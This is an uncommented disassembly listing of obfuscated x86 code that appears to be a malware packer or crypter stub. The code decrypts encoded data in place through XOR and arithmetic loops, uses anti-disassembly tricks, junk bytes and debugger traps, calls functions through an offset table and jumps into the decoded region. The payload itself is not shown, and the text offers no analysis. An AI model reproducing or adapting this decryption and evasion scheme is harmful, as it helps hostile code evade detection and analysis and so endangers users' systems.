loc_5F7CF6:				; CODE XREF: sub_5F7CE6+4j
		popa
		add	edx, 7266h
		sub	eax, eax
		mov	edi, 65E0C8A0h


loc_5F7D04:				; CODE XREF: sdfs____:005F7DA9j
		push	dword ptr [eax+edx]
		sbb	cl, 0E3h
		pop	ebx
		jnz	loc_5F7D14
		mov	si, cx


loc_5F7D14:				; CODE XREF: sub_5F7CE6+25j
		sub	ebx, 1883F9C4h
		sub	ebx, 22BB7F7Ah
		jmp	loc_5F7D2D
; ---------------------------------------------------------------------------
		aaa
		push	0F74023FBh
		test	[edx], edx


loc_5F7D2D:				; CODE XREF: sub_5F7CE6+3Aj
		sub	ebx, 21B5A8CFh
		cmc
		push	ebx
		mov	ecx, esi
		pop	dword ptr [edx+eax]
		pusha
		jnz	loc_5F7D44
		movsx	ebx, dx


loc_5F7D44:				; CODE XREF: sub_5F7CE6+55j
		pusha
		jmp	loc_5F7D57
; ---------------------------------------------------------------------------
		dw 46Dh
		dd 325956D0h, 0A20EFF0Eh
		db 0F2h, 7Fh, 75h
; ---------------------------------------------------------------------------


loc_5F7D57:				; CODE XREF: sub_5F7CE6+5Fj
		jmp	loc_5F7D62
; ---------------------------------------------------------------------------
		dd 0DE640684h
		db 0E8h, 0BBh
; ---------------------------------------------------------------------------


loc_5F7D62:				; CODE XREF: sub_5F7CE6:loc_5F7D57j
		popa
		popa
		call	loc_5F7D78
		mov	dh, 0B6h
		retf	200Ah
sub_5F7CE6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0B7D8h
		dd 0EBF4A124h, 0CBBCD7C5h
; ---------------------------------------------------------------------------


loc_5F7D78:				; CODE XREF: sub_5F7CE6+7Ep
		adc	esi, 2E1579A8h
		pop	edi
		sub	eax, 1
		or	ecx, 67D9DAE8h
		dec	eax
		dec	eax
		dec	eax
		jns	loc_5F7DA3
		jmp	loc_5F7DA3
; ---------------------------------------------------------------------------
		dw 0F08Dh
		dd 7AFDE634h, 656C48EEh
		db 0ADh, 98h, 0E2h
; ---------------------------------------------------------------------------


loc_5F7DA3:				; CODE XREF: sdfs____:005F7D8Bj
					; sdfs____:005F7D91j
		cmp	eax, 0FFFF8E70h
		jnz	loc_5F7D04
		mov	cl, 0ACh
		call	sub_5F7DCA
		shr	dword ptr [eax-79h], cl
		mov	byte ptr [ebx],	11h
		adc	[edi], edx
		repne inc edx
		push	ebx
; ---------------------------------------------------------------------------
		db 8Ch,	0B5h, 6Ch
		dd 0A8E42640h
		db 0D9h, 7Eh

; =============== S U B	R O U T	I N E =======================================



sub_5F7DCA	proc near		; CODE XREF: sdfs____:005F7DB1p
		push	eax
		adc	edi, 0E116F60h
		pop	edi
		pop	eax
		sbb	si, 2064h
		add	eax, 701Ch
		stc
		mov	edx, 1BE6h
		mov	cx, 7EE9h


loc_5F7DE8:				; CODE XREF: sub_5F7DCA+5Cj
		push	dword ptr [eax]
		mov	si, 133Eh
		pop	ebx
		jno	loc_5F7DF8
		mov	cx, ax


loc_5F7DF8:				; CODE XREF: sub_5F7DCA+25j
		xor	ebx, 7086F044h
		xor	ebx, 39FBD257h
		mov	di, 286Ah
		sub	ebx, 6CC309D7h
		clc
		mov	[eax], ebx
		sbb	ecx, 170A145Ah


loc_5F7E17:				; CODE XREF: sdfs____:005F7E91j
		sub	eax, 1
		movsx	edi, cx
		dec	eax
		dec	eax
		dec	eax
		movzx	esi, dx
		sub	edx, 1
		jnz	loc_5F7DE8
		call	near ptr loc_5F7E35+7
		push	ebp
		cdq
		mov	cl, cl


loc_5F7E35:				; CODE XREF: sub_5F7DCA+62p
		test	dword ptr [ebp+esi-3Eh], 0F5600CFAh
sub_5F7DCA	endp ; sp-analysis failed

		pop	ecx
		call	near ptr loc_5F7E48+5
		dec	byte ptr [ebx]
		mov	[ebp+40h], gs


loc_5F7E48:				; CODE XREF: sdfs____:005F7E3Ep
		shr	dword ptr [ebx+60A2567Bh], 1
		mov	dh, 2Ch
		popa
		pop	edi
		movzx	ebx, dx
		add	edi, 729Ah
		pusha
		sub	bx, 99F4h
		mov	esi, 10573E15h
		popa
		xor	ecx, ecx
		call	near ptr loc_5F7E7A+1
		push	ds
		out	dx, eax
		xor	al, 0C7h
		mov	ebx, 669E139Bh
		inc	ecx
		leave
		scasb


loc_5F7E7A:				; CODE XREF: sdfs____:005F7E69p
					; sdfs____:005F7E99j
		mov	byte ptr [ecx+5E2DDDEEh], 45h
		pop	esi


loc_5F7E82:				; CODE XREF: sdfs____:005F7EF3j
		mov	edx, [edi+ecx]
		jbe	loc_5F7EB7
		call	near ptr loc_5F7E9F+2
		nop
		ja	short loc_5F7E17
		int	3		; Trap to Debugger
		mov	edi, 0CFD53D44h
		jno	short near ptr loc_5F7E7A+3
		push	edx
		jge	short loc_5F7F1A
		inc	ecx


loc_5F7E9F:				; CODE XREF: sdfs____:005F7E8Bp
		xchg	ebx, [ecx-17h]
		adc	[eax], al
; ---------------------------------------------------------------------------
		dd 288B0000h, 9BA5EB14h, 896C4C55h, 0BBD94FCBh
		db 65h,	0C2h, 5Bh
; ---------------------------------------------------------------------------


loc_5F7EB7:				; CODE XREF: sdfs____:005F7E85j
		xor	edx, 6B640C31h
		or	al, 0D4h
		add	edx, 624DD5F9h
		sub	al, 49h
		sub	edx, 72E1CD49h
		clc
		mov	[edi+ecx], edx
		adc	bh, 46h
		sub	ax, 59A3h


loc_5F7EDB:				; CODE XREF: sdfs____:005F7F49j
		sub	ecx, 7D3AF680h
		mov	si, 21ACh
		add	ecx, 7D3AF67Ch	; CODE XREF: sdfs____:005F7F08j
		mov	al, 0A7h


loc_5F7EED:				; CODE XREF: sdfs____:005F7F36j
		cmp	ecx, 0FFFF8E20h
		jnz	loc_5F7E82
		pusha
		mov	si, 5BCh
		mov	esi, ecx
		popa
		xor	byte ptr [ebp-60h], 89h
		or	[ecx+14h], ch
		js	short near ptr loc_5F7EE5+1
		cmpsb
		lea	ecx, [ebx+63h]
		int	3		; Trap to Debugger


loc_5F7F0F:				; CODE XREF: sdfs____:005F7F6Bj
		aaa
		xchg	ch, [esi]
		mov	eax, ds:25908635h
		fst	dword ptr [ebx]
		dec	eax


loc_5F7F1A:				; CODE XREF: sdfs____:005F7E9Cj
		and	eax, 0EC990530h
		outs	dx, dword ptr cs:[esi]
		adc	eax, 81023F25h
		and	eax, 98078630h
		or	eax, 3022AB81h
		mov	[ebp-6F79CFA2h], esp
		jecxz	short loc_5F7EED
		fild	qword ptr [esi-34h]
		aaa
		enter	0FFFFBA4Ch, 9Fh
		dec	esp
		call	far ptr	0B85Dh:0D6A204A4h
		cmpsb
		jnp	short loc_5F7EDB
		stc
		cwde
		stosd
		and	bh, [ebp-234505FDh]
		sub	dword ptr [edi-0Bh], 0A08E76BBh
		imul	esp, [eax+6E7E22CDh], 86302516h
		dec	ecx
		repne jb short loc_5F7F97
		aam	0AEh
		jz	short loc_5F7F0F
		inc	esi
		scasb
		xor	[edi], cl
		add	gs:[esi+ebx*8],	esi
		outsd
		nop
		or	eax, 0BD22A181h
		add	edi, edi
		mov	edx, 0F5ED81DCh
		mov	ebx, 3035B07Eh
		xchg	al, [esp+ecx*8+25428638h]
		xchg	eax, esi
		mov	[ebx+ebp+6C908630h], esp


loc_5F7F97:				; CODE XREF: sdfs____:005F7F66j
		cmp	ecx, [edi+47h]
		mov	al, ds:0DADB79C0h
; ---------------------------------------------------------------------------
		db 0D9h
		dd 3025128Bh, 7D7F940Bh, 359D836Fh, 0CF254286h,	7798AC65h
		dd 0BD2260C7h, 0C067450Bh, 15379C81h, 0FF0E94B6h, 0A0758247h
		dd 14690889h, 8DA6DC78h, 37CC634Bh, 35A12E86h, 0D9259086h
		dd 30254813h, 83EC9905h, 0A4F305E9h, 22B9h, 0AF8D8D00h
		dd 6A07F042h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0E9B7C351h, 0Ch, 0E12F17C4h, 0C5DC3476h
		dd 0E8DC6972h, 320D8D89h, 0BA6607E9h, 85C73F83h, 7E922E5h
		dd 6B18h, 0D5DB8166h, 65E4BE59h, 85C704B0h, 7E922B1h, 0
; ---------------------------------------------------------------------------
		adc	di, 4450h
		push	dword ptr [ebp+7E92C6Dh]
		cmc
		mov	ebx, [ebp+7E902B1h]
		call	dword ptr [ebp+7E92285h]
		mov	bh, 79h
		push	0
		call	dword ptr [ebp+7E90C31h]
		mov	eax, eax
		jmp	short loc_5F80E7
; ---------------------------------------------------------------------------
		dw 3A40h
		dd 623127FCh, 0F84A6A43h, 64B4F56Ch, 62942FA4h,	1E1ED908h
		dd 0BF434D75h, 70D53475h, 0E6D4FABAh, 0CFA7831Dh, 3F3CCCB3h
		dd 7E56FFA6h, 0ACA2F840h, 46B76AEEh, 7BB25E8Ch,	0CE7D447Fh
		dd 89B4887Eh, 9C19F383h, 70BDCFD1h, 0A4E71352h,	40A6C600h
		dd 248E0B90h, 4D25C7CEh, 216EA3F3h, 2179184Ch, 65310065h
		dd 12047710h, 54D8E7F7h, 22D73B32h, 0A3E56BD2h
; ---------------------------------------------------------------------------
		cmp	[edx-3Ch], ah


loc_5F80E7:				; CODE XREF: sdfs____:005F806Cj
		call	sub_5F8100
		and	eax, 76FDE95h
		stc
		xlat
		inc	eax
		wait
		cmpsb
		inc	ebx
		push	cs
		ficom	word ptr [edx+77B88C68h]
		sbb	al, 0E4h

; =============== S U B	R O U T	I N E =======================================



sub_5F8100	proc near		; CODE XREF: sdfs____:loc_5F80E7p
		mov	esi, [ebp+7E90CDDh]
		pop	ebx
		call	sub_5F811D
		test	al, 0D1h
		retn
sub_5F8100	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 50h
		dd 9BB0D6Ch, 5F5FD72Eh,	0C27EC857h
		db 0B5h

; =============== S U B	R O U T	I N E =======================================



sub_5F811D	proc near		; CODE XREF: sub_5F8100+7p
		mov	[ebp+7E92505h],	ecx
		pop	edx
		add	ebx, 61EAh
		mov	[ebp+7E91341h],	esi
		mov	edi, 6033B6B2h
		xor	edi, 6033AEFAh
		mov	si, di


loc_5F813E:				; CODE XREF: sub_5F811D+91j
		mov	ecx, [ebx]
		add	[ebp+7E90CE5h],	ebx
		sub	ecx, 5F35AF85h
		jmp	loc_5F8165
; ---------------------------------------------------------------------------
		db 71h,	72h, 7Dh
		dd 5C69F25Ch, 8B80163Eh, 0E47FDBEFh, 2FD0B3B3h
		db 0
; ---------------------------------------------------------------------------


loc_5F8165:				; CODE XREF: sub_5F811D+2Fj
		add	ecx, 331B963Eh
		jz	loc_5F8177
		mov	[ebp+7E90C69h],	ebx


loc_5F8177:				; CODE XREF: sub_5F811D+4Ej
		xor	ecx, 1D662E1Dh
		mov	edx, 5849C6C2h
		mov	[ebx], ecx
		mov	si, 2DCEh
		sub	ebx, 0AAB5C4Dh
		sub	edx, [ebp+7E91B81h]
		add	ebx, 0AAB5C49h
		push	ecx
		ja	loc_5F81A7
		jp	$+6


loc_5F81A7:				; CODE XREF: sub_5F811D+7Ej
		pop	esi
		sub	edi, 1
		jnz	loc_5F813E
		mov	edx, [ebp+7E92FD9h]
		jmp	loc_5F81CE
; ---------------------------------------------------------------------------
		db 0E8h
		dd offset dword_49005C+19BF4h
		dd 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F81CE:				; CODE XREF: sub_5F811D+9Dj
		jmp	loc_5F8B07
; ---------------------------------------------------------------------------
		db 53h
		dd 9B35B8B8h, 0CC680577h, 73DD502Ah, 0A00CA123h, 0D646EF8Dh
		dd 0A8CC6151h, 0FA7AAB05h, 4636D97Bh, 8DEF0DAFh, 6E237FE0h
		dd 286C812Eh, 9FF6D4E6h, 305CC544h, 0CF66103Ah,	7C0E9994h
		dd 0B5A8E605h, 6C8E5637h, 89097812h, 8B2873A8h,	732DD119h
		dd 73A87E3Eh, 103A9628h, 0E242D066h, 57574AE4h,	402873A8h
		dd 286B7F1h, 267C1073h,	314BEECAh, 6E8B22BCh, 68D67F9Ah
		dd 0B64470B8h, 0BE5C78C4h, 0C15460BCh, 366F6BBBh, 0CF244AB1h
		dd 35CB37B9h, 0A148ECE9h, 0E5700A51h, 92E39C36h, 0F486AAC9h
		dd 2C049A28h, 4DEF19C0h, 1A3D9933h, 28008262h, 70A41CA5h
		dd 4DC28C1Ah, 0E0000000h, 9D5A74Ah, 0AAFAA84Dh,	38CED428h
		dd 40E917E4h, 6A0B7184h, 30DBE7D9h, 2E0784h, 4AA30000h
		dd 9809D5A7h, 305CC53Dh, 40D77F09h, 12DEE438h, 1EB74FEEh
		dd 27BC8D67h, 0E1DB30D3h, 531153Ch, 0FA1FBB77h,	1B5AF382h
		dd 0E4000000h, 9D5A74Ah, 5CC51698h, 40E9E330h, 710B7184h
		dd 0DA99CDE4h, 46B227E0h, 0DC78CF7Bh, 0E1E34339h, 41A9D365h
		dd 841681ACh, 0B5C4020Dh, 0B2921037h, 0FC8EF006h, 0C9B8BE50h
		dd 2873C4C9h, 7BCB594Bh, 903C8169h, 6D20FC7Eh, 0CEC355C2h
		dd 2FCCB2C7h, 0CD89554Fh, 0C4F04C28h, 0EEFB4B31h, 0D64DC1h
		dd 4BB512B1h, 0A9AF50A2h, 255CF600h, 208A9C65h,	993DF5AFh
		dd 0CC680577h, 158C502Ah, 208A9BA5h, 30871E88h,	9F1D7453h
		dd 0F6A83D47h, 8CF03828h, 6B153BEDh, 0A6B378CAh, 90328331h
		dd 4CE0A04Ah, 632A982Eh, 60E56A03h, 4447FEAAh, 535DDEECh
		dd 93B930D4h, 4Bh, 0DD5A4B13h, 0A2A1B3F4h, 2E27054h, 4FCDC480h
		dd 0A6B321E3h, 9788331h, 305CC589h, 78AB198Bh, 0C4F3B3EEh
		dd 42D5305Ch, 0B4D8EA3Ah, 0AA402EEh, 70CCAE42h,	4A048672h
		dd 0E3A3DEA4h, 2D305CC4h, 7773E177h, 5151DBh, 78F10000h
		dd 0C4F3B3EEh, 0AAE7305Ch, 305CC4EAh, 8E14782Ah, 0F56A8FA2h
		dd 89097847h, 71305CC5h, 0C53C41D5h, 0D340520Ah, 0BE74BC52h
		dd 0CA78BA28h, 5AB5ED78h, 8F80280h, 5BF31999h, 1BA9FB30h
		dd 1D55FBDFh, 23A17DFFh, 0DC78DF8Dh, 0E6FC403Ah, 4A37930Ah
		dd 970ED6A0h, 305942C5h, 25EF8EA2h, 6CC86517h, 5553B3C9h
		dd 0EF276389h, 0A713DF6Dh, 411AEA92h, 5779945h,	234FAB39h
		dd 0D1AB4E7Ah, 0B4F4AD47h, 5C305843h, 87E7EA46h, 1C7F07EEh
		dd 7A135603h, 0EA82189Dh, 8300E8B1h, 84352941h,	0B0C96EF6h
		dd 0FDF18C1Ch, 8541D7F9h, 0F02D0577h, 30h, 68ED78D2h, 0A4FA2D9Ch
		dd 36C4F038h, 0A25F844h, 3F720B9Dh, 1EE51C4Eh, 0B6EBFD35h
		dd 37B4E963h, 0C08D5153h, 0ED698D2Ch, 0D3C73349h, 0CB63F39h
		dd 453BDC78h, 5CC54C4Ch, 48DEC430h, 0C58AE9F4h,	7897969Fh
		dd 80AA0EEAh, 2CA64F6h,	374D9113h, 5C5A4242h, 18D0D230h
		dd 75E671C4h, 5C5A7C3Ch, 970A9430h, 305C5A17h, 8015ABF9h
		dd 0A41BA912h, 56E076D1h, 0B597745Bh, 2136A237h, 8824C95Fh
		dd 0EF861062h, 61BC2EE9h, 0E539F191h, 0E210DB3Ch, 33DA7EACh
		dd 0D8332AC3h, 8363E131h, 2FEB7401h, 0B15B7FBBh, 68822EC7h
		dd 43E17C0Eh, 0AAD267FBh, 0ACBD485Ah, 2E42AE80h, 58223490h
		dd 0C152DD90h, 16BD0D0h, 176588A4h, 0CBD9B5CFh,	93EEA335h
		dd 23AB5A63h, 0B356EC81h, 328331A6h, 0D6A04A90h, 5D276360h
		dd 0B930D453h, 5493h, 0A14B1300h, 0D1750FD7h, 0D3F1393Bh
		dd 8331A6B3h, 0C5890978h, 2F8B305Ch, 1BA975F7h,	0C4901081h
		dd 2280305Ch, 0CA78DE8Ch, 13DDA44Ah, 0D0840649h, 78520096h
		dd 0FF47C5DCh, 19EB14E2h, 0C3519EC3h, 0E642512Ah, 0E1493B59h
		dd 43D67E08h, 51D3F139h, 3Ah, 38DC78F1h, 3E3BF642h, 9783BA9h
		dd 305CC589h, 78B92FBDh, 931986EDh, 0DA7F8ACFh,	0B24042A2h
		dd 78F26046h, 0C4F3B3EEh, 1E4305Ch, 5D13164Ah, 0FD356F27h
		dd 974537D9h, 0DC78DB77h, 0CCE8403Ah, 0F6F04C2Eh, 79B1CB6Eh
		dd 5942B688h, 0F099B330h, 0D9542634h, 0CD1AB34Dh, 0E4852C1h
		dd 0E157574Ah, 0EBB93057h, 0F686AB0Fh, 0ED8FA22Eh, 0E86CA511h
		dd 0EA68B814h, 0F495BF1Ah, 0B657B906h, 0B9DDF72h, 0B6D55243h
		dd 0BA8DC305h, 0AC31F98Fh, 352FAD17h, 48C984h, 4A990000h
		dd 0AA44D6A0h, 5CC4B7F7h, 0FD7F9130h, 87F3A321h, 0D1750B75h
		dd 0DDE73F3Dh, 0E904D915h, 3AB5EC7Eh, 8237B594h, 0ED4537DAh
		dd 4D09A301h, 7371CDAFh, 0CA6E6B87h, 1B0BD323h,	0F33F4599h
		dd 0B14B35C7h, 0B078FC15h, 0EE78952Dh, 5CC4F3B3h, 0C7871D30h
		dd 0ECF64ECEh, 0F87A9004h, 5109D76Eh, 0C782B70Ch, 0F762376Bh
		dd 10DBD660h, 8637B550h, 0B331911Ch, 89F307A6h,	88AF2FB5h
		dd 0CC862F0h, 65A793E9h, 0A04A9032h, 779844D6h,	0A3B4AE02h
		dd 0B341BFF7h, 2B995153h, 535D2763h, 93B930D4h,	4Ah, 0C4DD7913h
		dd 0C5515140h, 0E1C3335Ch, 0C55A5A57h, 0E8BA335Ch, 0A6B38200h
		dd 9788331h, 305CC589h,	0F58F198Bh, 5CC4FCBCh, 0A28E1430h
		dd 4ACA7860h, 7764DAA4h, 6C2C65FFh, 6C305CC5h, 5250ACCEh
		dd 3A886042h, 3751h, 0A6B3F100h, 410DA731h, 0DBDBCEAEh
		dd 35305CC4h, 7801836Fh, 5CC58909h, 0B92FBD30h,	0CE57EE78h
		dd 0CDCDC40Bh, 47305BF5h, 35A0C85Dh, 4A4446B2h,	304AECA4h
		dd 0DB772CA2h, 0ED6A04Ah, 5942C597h, 0EF8EA230h, 0C8651725h
		dd 50ACCE6Ch, 7305929Dh, 0EF3741EBh, 168B1DD5h,	37B13AFFh
		dd 0C014EAB7h, 0AB7BF928h, 758C8C19h, 0E66EF88Eh, 0FCC12953h
		dd 31A6B346h, 4A903283h, 7860D6A0h, 0C4F3B3EEh,	40D5305Ch
		dd 0BADAE834h, 5BD00E8h, 30D4535Dh, 5093B9h, 0B3370000h
		dd 788331A6h, 5CC58909h, 7FE77130h, 0B3F3A626h,	5D305CC4h
		dd 9A07EB47h, 9ECCA3Fh,	0A3D70ECEh, 89C752EBh, 788F3DD3h
		dd 0DAA44ACAh, 3ADC7864h, 0F8D8440h, 6C45AD37h,	515140DAh
		dd 0C3305CC5h, 51BB09E1h, 4Eh, 91E309D5h, 0A6B36B59h, 183FA731h
		dd 2A069C60h, 89097898h, 71305CC5h, 0C4EAAAE7h,	782A305Ch
		dd 0F74339DCh, 0B11DAF3Dh, 7C06DE9Eh, 0EE7816B4h, 45755057h
		dd 0C22E773Ch, 0DAA44AC0h, 38DC7864h, 4B9BE174h, 495BAB39h
		dd 26126A8Dh, 0A04A63CFh, 0C5970ED6h, 0A2305942h, 0B1C468F4h
		dd 92A734B2h, 220E9C6Dh, 47D51FBEh, 0FE1CB835h,	42EDA07Ch
		dd 1FA943D5h, 0F8C0C85h, 1E843058h, 580F2B6Bh, 6C082D30h
		dd 24821290h, 580F2D6Dh, 2FBDE730h, 0E0CF02C3h,	0BDE737B0h
		dd 0A6B39230h, 90328331h, 413BDC78h, 0AF0BE7FDh, 637DF38Dh
		dd 0D4535D27h, 6093B930h, 37000000h, 7C35A6B3h,	305CC53Ch
		dd 5DAC9D4h, 6FC5A56Fh,	78954BD9h, 5CC58909h, 0BCD57130h
		dd 12DEE438h, 8394306Eh, 0EA9F25F9h, 305CC4AAh,	76D2A793h
		dd 0A8AF6B8h, 601A3C98h, 0C270069Ch, 0A44ACA78h, 0DC7864DAh
		dd 0E1E34339h, 4E169009h, 7072D2ACh, 0C0A6D5E5h, 2EE3664h
		dd 1B5180h, 0B3F10000h,	788331A6h, 5CC58909h, 0B92FBD30h
		dd 4339DC78h, 4A43F1F7h, 7764DAA4h, 0D6A04ADBh,	2FB8BB0Eh
		dd 63E1319Dh, 19601197h, 337B5C3h, 0CB34FB6Ah, 731ED6D6h
		dd 0D1643E28h, 1E93A8FDh, 2873539Eh, 529E2C76h,	522CC2AEh
		dd 0D362F0F2h, 700A9D98h, 63108201h, 10249030h,	7A089A6Ah
		dd 720C2EAAh, 0BDBB51C3h, 4F12C620h, 148508FBh,	2082E294h
		dd 4C90267Ch, 56C617D5h, 11B85C6Dh, 0FEFD48E5h,	97F18382h
		dd 0A3DD7F5Bh, 0EA94A612h
		dd 1E9CF450h, 75009ED2h, 310C9339h, 98E077AAh, 40A83E44h
		dd 66BE3C54h, 63D87531h, 0BB4A3454h, 49F01CD4h,	5F077D9Fh
		dd 677DC1BBh, 16A27232h, 7200A2D3h, 51FB63C3h, 0A3F3DF27h
		dd 31C7DD21h, 3A3FDDF9h, 794B76C6h, 0A9750B8Eh,	1A36h
		dd 4EE06C00h, 3BD2D02Ch, 0EC22223Bh, 0F8CA2639h, 583BD254h
		dd 3C44CDA5h, 4AA81AD6h, 430FD7A1h, 5B77CFA9h, 5C78C4B4h
		dd 537FC745h, 6A66BEBEh, 6D69B5C7h, 636FB735h, 6753B3CDh
		dd 5E55A9D3h, 81E18951h, 4C1h, 4E98300h, 31240C33h, 0C33240Ch
		dd 89575C24h, 4C781E7h,	83000000h, 3C8704EFh, 2C895C24h
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 0BD240C89h
		dd 2E631AECh, 4172F581h, 0E5C15788h, 6E5C102h, 0BA52DDF7h
		dd 13542619h, 815AD531h, 4ECh, 24248900h, 4240483h, 244D6859h
		dd 2C890000h, 8418F24h,	53240C8Bh, 0C381E389h, 4, 4C381h
		dd 1C870000h, 2C8B5C24h, 0E1895124h, 4C181h, 0C1830000h
		dd 240C8704h, 2E78E95Ch
; ---------------------------------------------------------------------------
		stc
		call	fword ptr [ebx]


loc_5F8B07:				; CODE XREF: sub_5F811D:loc_5F81CEj
		mov	eax, 7F04CAAh
		add	eax, ebp
		jmp	eax
sub_5F811D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 59FADA52h, 67F39976h, 133A7CA7h, 11C34688h, 7331E637h
		dd 45FAF987h, 4D7FD1BFh, 23107F69h, 4A6973A7h, 422ECB05h
		dd 24D23911h, 3ED56FA3h, 0FA00644h, 696354D1h, 2FE7ABA7h
		dd 470E73BDh, 630888D8h, 150EEB2Ah, 3CE7ED9Ah, 1731FE39h
		dd 4CE0DE9Ah, 3E531F6h,	711F762Dh, 28FA9939h, 4E6B8D8Dh
		dd 6A07F0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 57AB6DC3h, 0F4927204h, 0ED958B82h, 8907E914h
		dd 0E9320D8Dh, 0C7D38B07h, 0E922E585h, 64CC07h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0DD8CDB4Eh, 0A62A4CEBh, 85C708BCh, 7E922B1h,	0
; ---------------------------------------------------------------------------
		mov	dx, 9B8Dh
		push	dword ptr [ebp+7E91E05h]
		mov	al, bl
		pusha
		jmp	loc_5F8BFC
; ---------------------------------------------------------------------------
		dw 6E66h
		dd 0BA19A9CEh, 72CA8E59h
; ---------------------------------------------------------------------------


loc_5F8BFC:				; CODE XREF: sdfs____:005F8BEDj
		js	loc_5F8C15
		jmp	loc_5F8C15
; ---------------------------------------------------------------------------
		sub	ebx, ds:71567876h
		dec	ebx
		xchg	ah, bh
		mov	eax, ds:681C5BD5h


loc_5F8C15:				; CODE XREF: sdfs____:loc_5F8BFCj
					; sdfs____:005F8C02j
		popa
		call	dword ptr [ebp+7E92285h]
		mov	ebx, esi
		push	0
		call	dword ptr [ebp+7E90C31h]
		mov	eax, eax
		jmp	short loc_5F8C47
; ---------------------------------------------------------------------------
		dw 0BFD8h
		dd 6F906470h, 667B1BD9h, 0B74EA44h, 0EC2F2C52h,	2D9410ACh
		dd 0D93F155Fh
; ---------------------------------------------------------------------------
		or	eax, ecx
		inc	ebp


loc_5F8C47:				; CODE XREF: sdfs____:005F8C28j
		call	near ptr loc_5F8C4F+5
		or	[esi], eax
		push	edi


loc_5F8C4F:				; CODE XREF: sdfs____:loc_5F8C47p
		cmp	[ebp-765AE6F6h], edi
		mov	ebp, 7E90FB1h
		pop	edx
		sbb	ah, 0BDh
		add	edx, 71A5h
		sub	ecx, 66479848h
		sub	esi, esi
		jmp	loc_5F8C7C
; ---------------------------------------------------------------------------
		db 1Eh,	6Dh, 6Ah
; ---------------------------------------------------------------------------
		mov	ah, 23h
		retf
; ---------------------------------------------------------------------------
		db 69h
		dd 3714A43Bh
; ---------------------------------------------------------------------------


loc_5F8C7C:				; CODE XREF: sdfs____:005F8C6Cj
					; sdfs____:005F8CD7j
		mov	edi, [edx+esi]
		mov	ebx, [ebp+7E9255Dh]
		sub	edi, 400868C7h
		mov	ebx, [ebp+7E92439h]
		add	edi, 64175779h
		push	edi
		pusha
		add	esi, [ebp+7E92145h]
		jnb	$+6
		popa
		pop	eax
		add	edi, 3243E2E6h
		mov	eax, 49785065h
		push	edi
		jp	loc_5F8CBB
		mov	bl, 0B1h


loc_5F8CBB:				; CODE XREF: sdfs____:005F8CB3j
		pop	dword ptr [edx+esi]
		push	edx
		mov	ecx, 5F863D72h
		pop	eax
		mov	cx, 0F40h
		sub	esi, 4
		adc	bx, 0F896h
		cmp	esi, 0FFFF8F00h
		jnz	loc_5F8C7C
		jmp	loc_5F8CF5
; ---------------------------------------------------------------------------
		sub	byte ptr [esi+5CB4ADC9h], 9Bh
		retn	8170h
; ---------------------------------------------------------------------------
		dd 72AD47D4h, 12264681h
		db 0D1h
; ---------------------------------------------------------------------------


loc_5F8CF5:				; CODE XREF: sdfs____:005F8CDDj
		lea	ecx, [ebp+7F04FF2h]
		mov	[ebp+7E9320Dh],	ecx
		pusha
		sub	ebx, 5D0E1C4Dh
		and	ecx, 3995633Fh
		popa
		mov	dword ptr [ebp+7E922E5h], 641Ch
		push	0
		push	ebp
		call	sub_5F8D24
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F8D24	proc near		; CODE XREF: sdfs____:005F8D1Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5F8D24	endp

; ---------------------------------------------------------------------------
		xor	al, 0C2h
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+7E91391h],	edx
		mov	edi, 76DB5F71h
		mov	dword ptr [ebp+7E922B1h], 0
		jmp	loc_5F8D5D
; ---------------------------------------------------------------------------
		cmpsd
		mov	bl, 24h
		pop	ebp
		and	dl, al
		test	[edi+1Dh], al
		cmp	dh, [edi]
		leave


loc_5F8D5D:				; CODE XREF: sdfs____:005F8D4Cj
		push	dword ptr [ebp+7E9245Dh]
		push	0
		push	edi
		call	sub_5F8D6E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F8D6E	proc near		; CODE XREF: sdfs____:005F8D66p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5F8D6E	endp

; ---------------------------------------------------------------------------
		test	eax, 34CAE0D2h
		xor	[ecx], ch
		xchg	eax, ebp
		xchg	eax, ebp
		psubsw	mm0, qword ptr [edi]
		mov	[ebp+7E91E15h],	edx
		call	dword ptr [ebp+7E92285h]
		jmp	loc_5F8DA2
; ---------------------------------------------------------------------------
		db 0EDh
		dd 0A2A05237h
		db 0C4h, 0A0h
; ---------------------------------------------------------------------------


loc_5F8DA2:				; CODE XREF: sdfs____:005F8D96j
		mov	bx, si
		push	0
		call	dword ptr [ebp+7E90C31h]
		mov	eax, eax
		jmp	short loc_5F8E0C
; ---------------------------------------------------------------------------
		db 16h,	7Dh, 98h
		dd 0C5BB79D2h, 0B46C8967h, 45D1725Dh, 0A2AAC363h, 551A7776h
		dd 93FD6935h, 0F927B4CEh, 0A9FD0FB7h, 0CFE07DEEh, 8E1FE852h
		dd 0B6B44FF0h, 0DA5B6BA8h, 1AFAE887h, 37D3DCBAh, 0E28CCAE8h
		dd 0B4D94EDFh, 435DF728h, 0F3FF290Fh, 601325D5h, 0B955F672h
		dd 281B98DCh, 0C641AD04h
; ---------------------------------------------------------------------------


loc_5F8E0C:				; CODE XREF: sdfs____:005F8DAFj
		lea	ecx, [ebp+7F050C1h]
		mov	[ebp+7E90755h],	edi
		mov	[ebp+7E9320Dh],	ecx
		or	[ebp+7E91331h],	eax
		mov	dword ptr [ebp+7E922E5h], 6BDCh
		or	ah, 30h
		mov	dword ptr [ebp+7E922B1h], 0
		add	[ebp+7E91FFDh],	eax
		push	dword ptr [ebp+7E91A89h]
		push	0
		push	ebp
		call	sub_5F8E52
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F8E52	proc near		; CODE XREF: sdfs____:005F8E4Ap

